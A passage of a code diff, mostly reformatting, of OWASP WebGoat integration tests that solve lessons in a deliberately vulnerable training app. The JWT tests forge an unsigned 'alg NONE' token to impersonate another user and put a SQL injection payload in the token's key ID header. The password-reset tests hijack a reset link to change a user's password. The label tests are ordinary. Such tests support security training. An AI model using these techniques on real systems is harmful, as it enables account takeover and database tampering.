.toString())
|
||||||
|
.concat(".")
|
||||||
|
.replace("=", "");
|
||||||
|
|
||||||
MatcherAssert.assertThat(
|
MatcherAssert.assertThat(
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
@ -151,14 +160,24 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/JWT/votings"))
|
.post(url("/WebGoat/JWT/votings"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void buyAsTom() throws IOException {
|
private void buyAsTom() throws IOException {
|
||||||
|
|
||||||
String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
String header =
|
||||||
|
new String(
|
||||||
|
Base64.getUrlDecoder()
|
||||||
|
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
|
||||||
|
|
||||||
String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
|
String body =
|
||||||
|
new String(
|
||||||
|
Base64.getUrlDecoder()
|
||||||
|
.decode(
|
||||||
|
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
|
||||||
|
.getBytes(Charset.defaultCharset())));
|
||||||
|
|
||||||
body = body.replace("Jerry", "Tom");
|
body = body.replace("Jerry", "Tom");
|
||||||
|
|
||||||
@ -166,25 +185,36 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
JsonNode headerNode = mapper.readTree(header);
|
JsonNode headerNode = mapper.readTree(header);
|
||||||
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
|
||||||
|
|
||||||
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
|
String replacedToken =
|
||||||
|
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
|
||||||
|
.concat(".")
|
||||||
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
|
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
|
||||||
.concat(".").replace("=", "");
|
.concat(".")
|
||||||
|
.replace("=", "");
|
||||||
|
|
||||||
MatcherAssert.assertThat(RestAssured.given()
|
MatcherAssert.assertThat(
|
||||||
.when().relaxedHTTPSValidation()
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.header("Authorization","Bearer "+replacedToken)
|
.header("Authorization", "Bearer " + replacedToken)
|
||||||
.post(url("/WebGoat/JWT/refresh/checkout"))
|
.post(url("/WebGoat/JWT/refresh/checkout"))
|
||||||
.then().statusCode(200)
|
.then()
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void deleteTom() {
|
private void deleteTom() {
|
||||||
|
|
||||||
Map<String, Object> header = new HashMap();
|
Map<String, Object> header = new HashMap();
|
||||||
header.put(Header.TYPE, Header.JWT_TYPE);
|
header.put(Header.TYPE, Header.JWT_TYPE);
|
||||||
header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
header.put(
|
||||||
String token = Jwts.builder()
|
JwsHeader.KEY_ID,
|
||||||
|
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
|
||||||
|
String token =
|
||||||
|
Jwts.builder()
|
||||||
.setHeader(header)
|
.setHeader(header)
|
||||||
.setIssuer("WebGoat Token Builder")
|
.setIssuer("WebGoat Token Builder")
|
||||||
.setAudience("webgoat.org")
|
.setAudience("webgoat.org")
|
||||||
@ -194,15 +224,20 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
.claim("username", "Tom")
|
.claim("username", "Tom")
|
||||||
.claim("Email", "tom@webgoat.org")
|
.claim("Email", "tom@webgoat.org")
|
||||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||||
.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
|
.signWith(SignatureAlgorithm.HS256, "deletingTom")
|
||||||
|
.compact();
|
||||||
|
|
||||||
MatcherAssert.assertThat(RestAssured.given()
|
MatcherAssert.assertThat(
|
||||||
.when().relaxedHTTPSValidation()
|
RestAssured.given()
|
||||||
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.post(url("/WebGoat/JWT/final/delete?token="+token))
|
.post(url("/WebGoat/JWT/final/delete?token=" + token))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void quiz() {
|
private void quiz() {
|
||||||
@ -212,5 +247,4 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
|
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -3,92 +3,139 @@ package org.owasp.webgoat;
|
|||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
import io.restassured.path.json.JsonPath;
|
import io.restassured.path.json.JsonPath;
|
||||||
import org.junit.jupiter.api.Assertions;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.io.FileInputStream;
|
import java.io.FileInputStream;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Properties;
|
import java.util.Properties;
|
||||||
|
import org.junit.jupiter.api.Assertions;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class LabelAndHintIntegrationTest extends IntegrationTest {
|
public class LabelAndHintIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
final static String ESCAPE_JSON_PATH_CHAR = "\'";
|
static final String ESCAPE_JSON_PATH_CHAR = "\'";
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testSingleLabel() {
|
public void testSingleLabel() {
|
||||||
Assertions.assertTrue(true);
|
Assertions.assertTrue(true);
|
||||||
JsonPath jsonPath = RestAssured.given()
|
JsonPath jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language","en")
|
.header("Accept-Language", "en")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc"))
|
||||||
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
|
||||||
Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
|
Assertions.assertEquals(
|
||||||
|
"Try again: but this time enter a value before hitting go.",
|
||||||
|
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
|
||||||
|
|
||||||
// check if lang parameter overrules Accept-Language parameter
|
// check if lang parameter overrules Accept-Language parameter
|
||||||
jsonPath = RestAssured.given()
|
jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language","en")
|
.header("Accept-Language", "en")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc?lang=nl"))
|
||||||
Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
Assertions.assertEquals(
|
||||||
|
"Gebruikersnaam",
|
||||||
|
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||||
|
|
||||||
jsonPath = RestAssured.given()
|
jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language","en")
|
.header("Accept-Language", "en")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc?lang=de"))
|
||||||
Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
Assertions.assertEquals(
|
||||||
|
"Benutzername",
|
||||||
|
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||||
|
|
||||||
// check if invalid language returns english
|
// check if invalid language returns english
|
||||||
jsonPath = RestAssured.given()
|
jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language","nl")
|
.header("Accept-Language", "nl")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc?lang=xx"))
|
||||||
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
Assertions.assertEquals(
|
||||||
|
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||||
|
|
||||||
// check if invalid language returns english
|
// check if invalid language returns english
|
||||||
jsonPath = RestAssured.given()
|
jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language","xx_YY")
|
.header("Accept-Language", "xx_YY")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc"))
|
||||||
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
Assertions.assertEquals(
|
||||||
|
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testHints() {
|
public void testHints() {
|
||||||
JsonPath jsonPathLabels = getLabels("en");
|
JsonPath jsonPathLabels = getLabels("en");
|
||||||
List<String> allLessons = List.of(
|
List<String> allLessons =
|
||||||
|
List.of(
|
||||||
"HttpBasics",
|
"HttpBasics",
|
||||||
"HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
|
"HttpProxies",
|
||||||
"XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
|
"CIA",
|
||||||
"SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
|
"InsecureLogin",
|
||||||
|
"Cryptography",
|
||||||
|
"PathTraversal",
|
||||||
|
"XXE",
|
||||||
|
"JWT",
|
||||||
|
"IDOR",
|
||||||
|
"SSRF",
|
||||||
|
"WebWolfIntroduction",
|
||||||
|
"CrossSiteScripting",
|
||||||
|
"CSRF",
|
||||||
|
"HijackSession",
|
||||||
|
"SqlInjection",
|
||||||
|
"SqlInjectionMitigations",
|
||||||
|
"SqlInjectionAdvanced",
|
||||||
"Challenge1");
|
"Challenge1");
|
||||||
for (String lesson: allLessons) {
|
for (String lesson : allLessons) {
|
||||||
startLesson(lesson);
|
startLesson(lesson);
|
||||||
List<String> hintKeys = getHints();
|
List<String> hintKeys = getHints();
|
||||||
for (String key : hintKeys) {
|
for (String key : hintKeys) {
|
||||||
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
String keyValue =
|
||||||
//System.out.println("key: " + key + " ,value: " + keyValue);
|
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||||
|
// System.out.println("key: " + key + " ,value: " + keyValue);
|
||||||
Assertions.assertNotNull(keyValue);
|
Assertions.assertNotNull(keyValue);
|
||||||
Assertions.assertNotEquals(key, keyValue);
|
Assertions.assertNotEquals(key, keyValue);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
//Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
|
// Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
|
||||||
|
// ""+jsonPath.getList("hint").get(0));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -96,21 +143,26 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
JsonPath jsonPathLabels = getLabels("en");
|
JsonPath jsonPathLabels = getLabels("en");
|
||||||
Properties propsDefault = getProperties("");
|
Properties propsDefault = getProperties("");
|
||||||
for (String key: propsDefault.stringPropertyNames()) {
|
for (String key : propsDefault.stringPropertyNames()) {
|
||||||
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
|
String keyValue =
|
||||||
|
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||||
Assertions.assertNotNull(keyValue);
|
Assertions.assertNotNull(keyValue);
|
||||||
}
|
}
|
||||||
checkLang(propsDefault,"nl");
|
checkLang(propsDefault, "nl");
|
||||||
checkLang(propsDefault,"de");
|
checkLang(propsDefault, "de");
|
||||||
checkLang(propsDefault,"fr");
|
checkLang(propsDefault, "fr");
|
||||||
checkLang(propsDefault,"ru");
|
checkLang(propsDefault, "ru");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private Properties getProperties(String lang) {
|
private Properties getProperties(String lang) {
|
||||||
Properties prop = null;
|
Properties prop = null;
|
||||||
if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
|
if (lang == null || lang.equals("")) {
|
||||||
try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
|
lang = "";
|
||||||
|
} else {
|
||||||
|
lang = "_" + lang;
|
||||||
|
}
|
||||||
|
try (InputStream input =
|
||||||
|
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
|
||||||
|
|
||||||
prop = new Properties();
|
prop = new Properties();
|
||||||
// load a properties file
|
// load a properties file
|
||||||
@ -125,15 +177,19 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
|||||||
JsonPath jsonPath = getLabels(lang);
|
JsonPath jsonPath = getLabels(lang);
|
||||||
Properties propsLang = getProperties(lang);
|
Properties propsLang = getProperties(lang);
|
||||||
|
|
||||||
for (String key: propsLang.stringPropertyNames()) {
|
for (String key : propsLang.stringPropertyNames()) {
|
||||||
if (!propsDefault.containsKey(key)) {
|
if (!propsDefault.containsKey(key)) {
|
||||||
System.err.println("key: " + key + " in (" +lang+") is missing from default properties");
|
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
|
||||||
Assertions.fail();
|
Assertions.fail();
|
||||||
}
|
}
|
||||||
if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
|
if (!jsonPath
|
||||||
System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
|
.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
|
||||||
System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
|
.equals(propsLang.get(key))) {
|
||||||
System.out.println("expected: "+propsLang.getProperty(key));
|
System.out.println(
|
||||||
|
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
|
||||||
|
System.out.println(
|
||||||
|
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
|
||||||
|
System.out.println("expected: " + propsLang.getProperty(key));
|
||||||
System.out.println();
|
System.out.println();
|
||||||
Assertions.fail();
|
Assertions.fail();
|
||||||
}
|
}
|
||||||
@ -145,26 +201,30 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
|||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language",lang)
|
.header("Accept-Language", lang)
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
//.log().headers()
|
// .log().headers()
|
||||||
.get(url("service/labels.mvc"))
|
.get(url("service/labels.mvc"))
|
||||||
.then()
|
.then()
|
||||||
//.log().all()
|
// .log().all()
|
||||||
.statusCode(200).extract().jsonPath();
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<String> getHints() {
|
private List<String> getHints() {
|
||||||
JsonPath jsonPath = RestAssured.given()
|
JsonPath jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/hint.mvc"))
|
.get(url("service/hint.mvc"))
|
||||||
.then()
|
.then()
|
||||||
//.log().all()
|
// .log().all()
|
||||||
.statusCode(200).extract().jsonPath();
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
return jsonPath.getList("hint");
|
return jsonPath.getList("hint");
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,8 +1,11 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Map;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.assertj.core.api.Assertions;
|
import org.assertj.core.api.Assertions;
|
||||||
import org.junit.jupiter.api.AfterEach;
|
import org.junit.jupiter.api.AfterEach;
|
||||||
@ -10,11 +13,6 @@ import org.junit.jupiter.api.BeforeEach;
|
|||||||
import org.junit.jupiter.api.DynamicTest;
|
import org.junit.jupiter.api.DynamicTest;
|
||||||
import org.junit.jupiter.api.TestFactory;
|
import org.junit.jupiter.api.TestFactory;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@BeforeEach
|
@BeforeEach
|
||||||
@ -26,57 +24,83 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
|||||||
@TestFactory
|
@TestFactory
|
||||||
Iterable<DynamicTest> passwordResetLesson() {
|
Iterable<DynamicTest> passwordResetLesson() {
|
||||||
return Arrays.asList(
|
return Arrays.asList(
|
||||||
dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
|
dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
|
||||||
dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
|
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
|
||||||
dynamicTest("assignment 2 - simple reset",()-> assignment2()),
|
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
|
||||||
dynamicTest("assignment 4 - guess questions",()-> assignment4()),
|
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
|
||||||
dynamicTest("assignment 5 - simple questions",()-> assignment5())
|
dynamicTest("assignment 5 - simple questions", () -> assignment5()));
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void assignment2() {
|
public void assignment2() {
|
||||||
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
|
checkAssignment(
|
||||||
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
|
url("PasswordReset/simple-mail/reset"),
|
||||||
|
Map.of("emailReset", this.getUser() + "@webgoat.org"),
|
||||||
|
false);
|
||||||
|
checkAssignment(
|
||||||
|
url("PasswordReset/simple-mail"),
|
||||||
|
Map.of(
|
||||||
|
"email",
|
||||||
|
this.getUser() + "@webgoat.org",
|
||||||
|
"password",
|
||||||
|
StringUtils.reverse(this.getUser())),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void assignment4() {
|
public void assignment4() {
|
||||||
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
|
checkAssignment(
|
||||||
|
url("PasswordReset/questions"),
|
||||||
|
Map.of("username", "tom", "securityQuestion", "purple"),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void assignment5() {
|
public void assignment5() {
|
||||||
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
|
checkAssignment(
|
||||||
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
|
url("PasswordReset/SecurityQuestions"),
|
||||||
|
Map.of("question", "What is your favorite animal?"),
|
||||||
|
false);
|
||||||
|
checkAssignment(
|
||||||
|
url("PasswordReset/SecurityQuestions"),
|
||||||
|
Map.of("question", "What is your favorite color?"),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public void solveAssignment() {
|
public void solveAssignment() {
|
||||||
//WebGoat
|
// WebGoat
|
||||||
clickForgotEmailLink("tom@webgoat-cloud.org");
|
clickForgotEmailLink("tom@webgoat-cloud.org");
|
||||||
|
|
||||||
//WebWolf
|
// WebWolf
|
||||||
var link = getPasswordResetLinkFromLandingPage();
|
var link = getPasswordResetLinkFromLandingPage();
|
||||||
|
|
||||||
//WebGoat
|
// WebGoat
|
||||||
changePassword(link);
|
changePassword(link);
|
||||||
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
|
checkAssignment(
|
||||||
|
url("PasswordReset/reset/login"),
|
||||||
|
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void sendEmailShouldBeAvailableInWebWolf() {
|
public void sendEmailShouldBeAvailableInWebWolf() {
|
||||||
clickForgotEmailLink(this.getUser() + "@webgoat.org");
|
clickForgotEmailLink(this.getUser() + "@webgoat.org");
|
||||||
|
|
||||||
var responseBody = RestAssured.given()
|
var responseBody =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/mail"))
|
.get(webWolfUrl("/WebWolf/mail"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
|
|
||||||
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
public void shutdown() {
|
public void shutdown() {
|
||||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||||
|
// lesson is marked complete
|
||||||
checkResults("/PasswordReset");
|
checkResults("/PasswordReset");
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -92,15 +116,22 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private String getPasswordResetLinkFromLandingPage() {
|
private String getPasswordResetLinkFromLandingPage() {
|
||||||
var responseBody = RestAssured.given()
|
var responseBody =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/requests"))
|
.get(webWolfUrl("/WebWolf/requests"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
|
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
|
||||||
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
|
var link =
|
||||||
|
responseBody.substring(
|
||||||
|
startIndex + "/PasswordReset/reset/reset-password/".length(),
|
||||||
|
responseBody.indexOf(",", startIndex) - 1);
|
||||||
return link;
|
return link;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,16 +1,8 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.hamcrest.CoreMatchers;
|
|
||||||
import org.hamcrest.MatcherAssert;
|
|
||||||
import org.junit.jupiter.api.AfterEach;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.DynamicTest;
|
|
||||||
import org.junit.jupiter.api.TestFactory;
|
|
||||||
import org.junit.jupiter.api.io.TempDir;
|
|
||||||
import org.springframework.security.core.token.Sha512DigestUtils;
|
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.FileOutputStream;
|
import java.io.FileOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@ -21,13 +13,19 @@ import java.util.Arrays;
|
|||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.zip.ZipEntry;
|
import java.util.zip.ZipEntry;
|
||||||
import java.util.zip.ZipOutputStream;
|
import java.util.zip.ZipOutputStream;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
import org.hamcrest.CoreMatchers;
|
||||||
|
import org.hamcrest.MatcherAssert;
|
||||||
|
import org.junit.jupiter.api.AfterEach;
|
||||||
|
import org.junit.jupiter.api.BeforeEach;
